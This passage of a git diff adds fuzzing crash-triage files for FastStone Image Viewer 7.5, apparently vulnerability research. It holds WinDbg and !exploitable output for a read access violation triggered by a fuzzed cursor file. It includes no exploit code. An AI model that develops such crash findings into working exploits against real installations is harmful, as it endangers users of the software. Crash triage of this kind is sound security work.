0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.07389e-017 -6.14522e+018 3.57577e-037 1.00975e-010 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0030d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0030d000 58e383e1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6294 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0030d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fcc40aa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3264/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d06cf59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..645e2e4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x17A0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x17A0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(17a0.1fb0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e97b10 edx=00003879 esi=ffdd0010 edi=0fc3cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.42775e-035 1.853e-010 -2.15672e-028 3.68682e-010 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028b000 a51b0824 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..645e2e4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/34574/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x17A0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x17A0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 